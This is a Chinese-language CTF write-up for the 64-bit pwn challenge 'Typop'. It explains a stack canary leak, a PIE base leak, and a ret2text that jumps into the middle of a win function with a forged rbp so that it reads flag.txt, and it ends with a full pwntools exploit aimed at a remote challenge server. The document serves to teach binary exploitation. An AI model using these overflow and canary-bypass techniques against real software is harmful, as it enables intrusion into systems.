# Typop 题目解析
# 题目分析
我们拿到题目之后,首先要去查看题目附件的相关情况 —— 检查保护机制以及 ELF 属性
$ checksec --file=chall | |
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE | |
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 76) Symbols No 0 3 chall | |
$ file chall | |
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=47348e907e6bd456810c6015278d5e43110c8318, for GNU/Linux 3.2.0, not stripped |
64 位的程序,保护机制基本上是全打开了,接下来就是要进行代码分析了,直接上 IDA_PRO
个人习惯,我自己打开题目后,习惯 shift+F12 看看字符串有没有 /bin/sh 或者 flag 之类的
这个题目没有,但是注意到左侧函数列表又 win 函数。
unsigned __int64 __fastcall win(char a1, char a2, char a3) | |
{ | |
FILE *stream; // [rsp+18h] [rbp-58h] | |
_BYTE filename[10]; // [rsp+26h] [rbp-4Ah] BYREF | |
char s[8]; // [rsp+30h] [rbp-40h] BYREF | |
__int64 v7; // [rsp+38h] [rbp-38h] | |
__int64 v8; // [rsp+40h] [rbp-30h] | |
__int64 v9; // [rsp+48h] [rbp-28h] | |
__int64 v10; // [rsp+50h] [rbp-20h] | |
__int64 v11; // [rsp+58h] [rbp-18h] | |
unsigned __int64 v12; // [rsp+68h] [rbp-8h] | |
v12 = __readfsqword(0x28u); | |
filename[9] = 0; | |
filename[0] = a1; | |
filename[1] = a2; | |
filename[2] = a3; | |
strcpy(&filename[3], "g.txt"); | |
stream = fopen(filename, "r"); | |
if ( !stream ) | |
{ | |
puts("Error opening flag file."); | |
exit(1); | |
} | |
*(_QWORD *)s = 0LL; | |
v7 = 0LL; | |
v8 = 0LL; | |
v9 = 0LL; | |
v10 = 0LL; | |
v11 = 0LL; | |
fgets(s, 32, stream); | |
puts(s); | |
return __readfsqword(0x28u) ^ v12; | |
} |
做一个简单的处理后,也许可以打开 flag.txt 文件,拿到 flag, 这就是这个题目的后门。
程序的主函数很简单,调用了 getFeedback
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
setvbuf(_bss_start, 0LL, 2, 0LL); | |
while ( puts("Do you want to complete a survey?") && getchar() == 121 ) | |
{ | |
getchar(); | |
getFeedback(); | |
} | |
return 0; | |
} |
我们关注的是这里
unsigned __int64 getFeedback() | |
{ | |
__int64 buf; // [rsp+Eh] [rbp-12h] BYREF | |
__int16 v2; // [rsp+16h] [rbp-Ah] | |
unsigned __int64 v3; // [rsp+18h] [rbp-8h] | |
v3 = __readfsqword(0x28u); | |
buf = 0LL; | |
v2 = 0; | |
puts("Do you like ctf?"); | |
read(0, &buf, 0x1EuLL); | |
printf("You said: %s\n", (const char *)&buf); | |
if ( (_BYTE)buf == 121 ) | |
printf("That's great! "); | |
else | |
printf("Aww :( "); | |
puts("Can you provide some extra feedback?"); | |
read(0, &buf, 0x5AuLL); | |
return __readfsqword(0x28u) ^ v3; | |
} |
函数里面第一个输入的地方,我们可以输入 0x1e 字节,但是 v2+buf 一共才 10 字节,程序是开启了 canary 检查的,v3 保存的就是 canary 的值
v3 = __readfsqword (0x28u); // 这条语句就是在设置 canary,每个程序,一次生命周期内,canary 一般是不会改变的,不同的函数内,如果有 canary,都是相同的,而且,最低字节是 \x00
下面还输出了 buf 的内容,配合溢出,就可以把 canary 泄露出来了。
canary 的检查是在函数返回的时候,比如这里,检查的原理,就是比较 v3 与全局中 canary 的值是否一致,C 语言中字符串是以 \x00 结束的,而 canary 第一字节,就是 \x00,所以,如果我们将其覆盖位其他的,就可以将 canary 的剩下 7 字节都输出出来,就可以获取到 canary 的值了,第二次 read 的时候,将 canary 的值再写回去。
这里所示(read 之前),0x7fffffffe268 的位置,就是 v3,保存的 canary,最低字节是 \x00,
我们输入 10 个 a 以及回车后,我们开单到 canary 的第一字节被修改为了 \x0a (换行符),那么,就 printf 可以将 canary 泄露出来了。同时还泄露了 stack 地址。(两个图 rsp 不一样是因为,第二张图的断点位置是在 read 函数里面,不是 getFeddback)
而第二个 read 的位置也是有溢出的,结合前面我们掌握到的,程序有后门,那就是 ret2text 了,但是由于程序开启了 PIE 地址随机化,text 段上的函数地址,不是真实的,所以我们还需要泄露出程序的基地址。
因为再 main 函数里,可以循环调用 getFeedback,我们在 getFeedback 第一次 read 的时候,把 buf 一直到 rbp 都覆盖掉,我们就可以输出 rbp+8 这里的 main+55 的返回地址,这个就是有 text 地址加上程序基址 0x55555....000 得到的,而且,只有低 12 字节是跟 ida 里面看到的一样,也就是最后三个数字。通过简单的加减法,可以得到基地址,0x555555555447 -0x447 就是程序基地址,win 地址等于基址 + 低 12 位(0x249)
然后第二次 read 的时候,恢复 canary 同时修改返回地址为后门地址。但是,这里不可以直接用 win 地址,而是要使用他里面的一个地址。因为 win 函数要接收三个参数,然后 strcpy 到变量里。
这里其实是不推荐使用 rop 来设置 rdi,rsi,rdx 寄存器的,因为程序没有 pop rdx 的 gadget,虽然,题目也可以泄露 libc 的基地址,但是由于没有给 libc 的文件,所以不好搞到 pop rdx;ret; 这个 gadget
这里存在一个栈缓存,如果我们跳过 win 函数开头的一部分代码(push rbp;sub rsp,70h),就可以让 filename 变量指向上一个 getFeedback 函数的栈空间的对应位置,比如我们刚好 filename 的位置,跟我们在 getFeedback 的输入的位置重合。这里我们要做的是,最后一次覆盖的时候,要将 rbp 写为一个栈地址(泄露 canary 的同时可以得到)因为 filename 的定位是 rbp-0x4a.
.text:0000000000001249 F3 0F 1E FA endbr64 | |
.text:000000000000124D 55 push rbp | |
.text:000000000000124E 48 89 E5 mov rbp, rsp | |
.text:0000000000001251 48 83 EC 70 sub rsp, 70h | |
.text:0000000000001255 89 F1 mov ecx, esi | |
.text:0000000000001257 89 D0 mov eax, edx | |
.text:0000000000001259 89 FA mov edx, edi | |
.text:000000000000125B 88 55 9C mov [rbp+var_64], dl | |
.text:000000000000125E 89 CA mov edx, ecx | |
.text:0000000000001260 88 55 98 mov [rbp+var_68], dl | |
.text:0000000000001263 88 45 94 mov [rbp+var_6C], al | |
.text:0000000000001266 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h | |
.text:000000000000126F 48 89 45 F8 mov [rbp+var_8], rax | |
.text:0000000000001273 31 C0 xor eax, eax | |
.text:0000000000001275 48 C7 45 B6 00 00 00 00 mov qword ptr [rbp+filename], 0 | |
.text:000000000000127D 66 C7 45 BE 00 00 mov [rbp+var_42], 0 | |
.text:0000000000001283 0F B6 45 9C movzx eax, [rbp+var_64] | |
.text:0000000000001287 88 45 B6 mov [rbp+filename], al | |
.text:000000000000128A 0F B6 45 98 movzx eax, [rbp+var_68] | |
.text:000000000000128E 88 45 B7 mov [rbp+filename+1], al | |
.text:0000000000001291 0F B6 45 94 movzx eax, [rbp+var_6C] | |
.text:0000000000001295 88 45 B8 mov [rbp+filename+2], al | |
.text:0000000000001298 C6 45 B9 67 mov [rbp+filename+3], 67h ; 'g' | |
.text:000000000000129C C6 45 BA 2E mov [rbp+filename+4], 2Eh ; '.' | |
.text:00000000000012A0 C6 45 BB 74 mov [rbp+filename+5], 74h ; 't' | |
.text:00000000000012A4 C6 45 BC 78 mov [rbp+filename+6], 78h ; 'x' | |
.text:00000000000012A8 C6 45 BD 74 mov [rbp+filename+7], 74h ; 't' | |
.text:00000000000012AC 48 8D 45 B6 lea rax, [rbp+filename] // 如果我们控制好了输入的内容,直接把返回地址设置到这里, | |
.text:00000000000012B0 48 8D 35 51 0D 00 00 lea rsi, modes ; "r" | |
.text:00000000000012B7 48 89 C7 mov rdi, rax ; filename | |
.text:00000000000012BA E8 81 FE FF FF call _fopen | |
.text:00000000000012BA |
getFeedback 结束时,程序会执行 leave ;ret
leave = mov rsp,rbp; pop rbp;
这里就会重新设定 rbp 寄存器的值,比如说这样,我们一般说的覆盖掉 rbp 其实值得是,覆盖带哦 rbp 寄存器里地址空间的数据,也就是覆盖掉 0x7ffc07998578 这个地址空间的数据。执行 leave 的时候,rbp 的值会变成原来指针指向的数据,下面的情况,就是,执行之后,rbp 会变成 0x515ac84424df7c8e。
0c:0060│ 0x7ffc07998570 ◂— 0x50ceee2736e17000 | |
0d:0068│ rbp 0x7ffc07998578 ◂— 0x515ac84424df7c8e | |
0e:0070│ 0x7ffc07998580 ◂— 0x7ffc00000000 |
我们控制我们最后一次输入的时候的 ebp 对应的栈上数据,比如我们在那里写为 A,返回后,rbp 就等于 A 了。
下面的图,我写了一个差不多的位置。
上图是我们在泄露完程序基地址后的,第二次执行 read 之前的栈空间,我们看到我们的输入的位置是在这里,然后我们看看 win 里面,我们如果跳过前面的代码,直接返回到 0x12ac 的位置
我们看到,filename 地址与我们输入点偏移是 0x56e-0x53e=0x30 字节,所以,最后一次输入的时候,最开始的位置为要填充 0x30 字节后,在写上 "flag.txt", 同时记得恢复 canary,覆盖返回地址我们直接返回到这里。既可以执行下去,输出 flag 了。有兴趣的话,可以自己调试下,用哪一个栈地址,覆盖 rbp 更好用。
# 完整的 exp
from pwn import * | |
context.log_level = 'debug' | |
#r=process('./chall') | |
r=remote("81.68.85.214",8006) | |
r.sendlineafter("to complete a survey?",'y') | |
r.sendlineafter("Do you like ctf?",b'yaflag.txt') | |
r.recvuntil(b'yaflag.txt') | |
canary = u64(r.recv(8))-0xa #因为最低字节被换行覆盖,恢复就是 - 0xa | |
stack = u64(r.recv(6).ljust(8,b'\x00')) #泄露出一个栈地址, | |
info("canary:"+hex(canary)) | |
info("stack :"+hex(stack)) | |
pad = b'a'*10+p64(canary) | |
r.send(pad) | |
#gdb.attach(r,"brva 0x12BA\nbrva 0x13F4") | |
r.sendlineafter("to complete a survey?",'y') | |
r.sendafter("Do you like ctf?",b'y'*0x1a) | |
r.recvuntil(b'y'*0x1a) | |
base_add = u64(r.recv(6).ljust(8,b'\x00'))-0x447 #低 12 字节地址是真实有效的, | |
pop_rdi = base_add+0x0004d3 | |
info("base_add:"+hex(base_add)) | |
pad = b'flag.txt\x00\x00'+p64(canary) #恢复 canary | |
pad +=p64(stack+0x58) #覆盖 rbp 指向的空间的数据,这里可以自行调试,更改的话要改变下 "flag.txt" 的位置,最好是 8 字节对齐。 | |
pad += p64(base_add+0x2ac) #覆盖返回地址 | |
pad +=b'\x00'*14 #到此,一共是 0x30 字节 | |
pad += b'flag.txt\x00'+p64(canary)*8 #canary 是垃圾 | |
r.send(pad) | |
r.interactive() |